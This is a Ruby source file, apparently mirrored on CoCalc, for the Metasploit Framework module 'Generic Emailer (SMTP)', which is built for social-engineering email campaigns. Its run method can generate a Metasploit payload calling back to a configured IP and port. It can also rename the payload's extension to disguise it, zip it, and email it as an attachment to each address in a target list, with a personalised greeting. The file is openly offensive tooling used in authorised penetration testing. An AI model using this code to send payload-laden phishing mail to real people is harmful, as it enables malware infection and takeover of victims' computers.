CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/client/smtp/emailer.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'yaml'
7
8
class MetasploitModule < Msf::Auxiliary
9
10
#
11
# This module sends email messages via smtp
12
#
13
include Msf::Exploit::Remote::SMTPDeliver
14
include Msf::Exploit::EXE
15
16
def initialize(info = {})
17
super(update_info(info,
18
'Name' => 'Generic Emailer (SMTP)',
19
'Description' => %q{
20
This module can be used to automate email delivery.
21
This code is based on Joshua Abraham's email script for social
22
engineering.
23
},
24
'License' => MSF_LICENSE,
25
'References' =>
26
[
27
[ 'URL', 'http://spl0it.org/' ],
28
],
29
'Author' => [ 'et <et[at]metasploit.com>' ]))
30
31
register_options(
32
[
33
OptString.new('RHOST', [true, "SMTP server address",'127.0.0.1']),
34
OptPort.new('RPORT', [true, "SMTP server port", 25]),
35
OptString.new('YAML_CONFIG', [true, "Full path to YAML Configuration file",
36
File.join(Msf::Config.data_directory,"emailer_config.yaml")]),
37
])
38
39
# Hide this option from the user
40
deregister_options('MAILTO')
41
deregister_options('SUBJECT')
42
end
43
44
def load_yaml_conf
45
opts = {}
46
47
File.open(datastore['YAML_CONFIG'], "rb") do |f|
48
yamlconf = YAML::load(f)
49
50
opts['to'] = yamlconf['to']
51
opts['from'] = yamlconf['from']
52
opts['subject'] = yamlconf['subject']
53
opts['type'] = yamlconf['type']
54
opts['msg_file'] = yamlconf['msg_file']
55
opts['wait'] = yamlconf['wait']
56
opts['add_name'] = yamlconf['add_name']
57
opts['sig'] = yamlconf['sig']
58
opts['sig_file'] = yamlconf['sig_file']
59
opts['attachment'] = yamlconf['attachment']
60
opts['attachment_file'] = yamlconf['attachment_file']
61
opts['attachment_file_type'] = yamlconf['attachment_file_type']
62
opts['attachment_file_name'] = yamlconf['attachment_file_name']
63
64
### payload options ###
65
opts['make_payload'] = yamlconf['make_payload']
66
opts['zip_payload'] = yamlconf['zip_payload']
67
opts['msf_port'] = yamlconf['msf_port']
68
opts['msf_ip'] = yamlconf['msf_ip']
69
opts['msf_payload'] = yamlconf['msf_payload']
70
opts['msf_filename'] = yamlconf['msf_filename']
71
opts['msf_change_ext'] = yamlconf['msf_change_ext']
72
opts['msf_payload_ext'] = yamlconf['msf_payload_ext']
73
end
74
75
opts
76
end
77
78
def load_file(fname)
79
buf = ''
80
File.open(fname, 'rb') do |f|
81
buf = f.read
82
end
83
84
buf
85
end
86
87
def run
88
89
yamlconf = load_yaml_conf
90
91
fileto = yamlconf['to']
92
from = yamlconf['from']
93
subject = yamlconf['subject']
94
type = yamlconf['type']
95
msg_file = yamlconf['msg_file']
96
wait = yamlconf['wait']
97
add_name = yamlconf['add_name']
98
sig = yamlconf['sig']
99
sig_file = yamlconf['sig_file']
100
attachment = yamlconf['attachment']
101
attachment_file = yamlconf['attachment_file']
102
attachment_file_type = yamlconf['attachment_file_type']
103
attachment_file_name = yamlconf['attachment_file_name']
104
105
make_payload = yamlconf['make_payload']
106
zip_payload = yamlconf['zip_payload']
107
msf_port = yamlconf['msf_port']
108
msf_ip = yamlconf['msf_ip']
109
msf_payload = yamlconf['msf_payload']
110
msf_filename = yamlconf['msf_filename']
111
msf_change_ext = yamlconf['msf_change_ext']
112
msf_payload_ext = yamlconf['msf_payload_ext']
113
114
tmp = Dir.tmpdir
115
116
datastore['MAILFROM'] = from
117
118
msg = load_file(msg_file)
119
120
if (type !~ /text/i and type !~ /text\/html/i)
121
print_error("YAML config: #{type}")
122
end
123
124
if make_payload
125
attachment_file = File.join(tmp, msf_filename)
126
attachment_file_name = msf_filename
127
128
print_status("Creating payload...")
129
mod = framework.payloads.create(msf_payload)
130
if (not mod)
131
print_error("Failed to create payload, #{msf_payload}")
132
return
133
end
134
135
# By not passing an explicit encoder, we're asking the
136
# framework to pick one for us. In general this is the best
137
# way to encode.
138
buf = mod.generate_simple(
139
'Format' => 'raw',
140
'Options' => { "LHOST"=>msf_ip, "LPORT"=>msf_port }
141
)
142
exe = generate_payload_exe({
143
:code => buf,
144
:arch => mod.arch,
145
:platform => mod.platform
146
})
147
148
print_status("Writing payload to #{attachment_file}")
149
File.open(attachment_file, "wb") do |f|
150
f.write(exe)
151
end
152
153
if msf_change_ext
154
msf_payload_newext = attachment_file
155
msf_payload_newext = msf_payload_newext.sub(/\.\w+$/, ".#{msf_payload_ext}")
156
File.rename(attachment_file, msf_payload_newext)
157
attachment_file = msf_payload_newext
158
end
159
160
if zip_payload
161
zip_file = attachment_file.sub(/\.\w+$/, '.zip')
162
print_status("Zipping payload to #{zip_file}")
163
File.write(zip_file, Msf::Util::EXE.to_zip([fname: File.basename(attachment_file), data: exe]), mode: 'wb')
164
attachment_file = zip_file
165
attachment_file_type = 'application/zip'
166
else
167
attachment_file_type = 'application/exe'
168
end
169
170
end
171
172
173
File.open(fileto, 'rb').each do |l|
174
next if l !~ /\@/
175
176
nem = l.split(',')
177
name = nem[0].split(' ')
178
fname = name[0]
179
lname = name[1]
180
email = nem[1].strip
181
182
183
if add_name
184
email_msg_body = "#{fname},\n\n#{msg}"
185
else
186
email_msg_body = msg
187
end
188
189
if sig
190
data_sig = load_file(sig_file)
191
email_msg_body = "#{email_msg_body}\n#{data_sig}"
192
end
193
194
print_status("Emailing #{name[0]} #{name[1]} at #{email}")
195
196
mime_msg = Rex::MIME::Message.new
197
mime_msg.mime_defaults
198
199
mime_msg.from = from
200
mime_msg.to = email
201
datastore['MAILTO'] = email.strip
202
mime_msg.subject = subject
203
204
mime_msg.add_part(Rex::Text.encode_base64(email_msg_body, "\r\n"), type, "base64", "inline")
205
206
if attachment
207
if attachment_file_name
208
data_attachment = load_file(attachment_file)
209
mime_msg.add_part(Rex::Text.encode_base64(data_attachment, "\r\n"), attachment_file_type, "base64", "attachment; filename=\"#{attachment_file_name}\"")
210
end
211
end
212
213
send_message(mime_msg.to_s)
214
select(nil,nil,nil,wait)
215
end
216
217
print_status("Email sent..")
218
end
219
end
220
221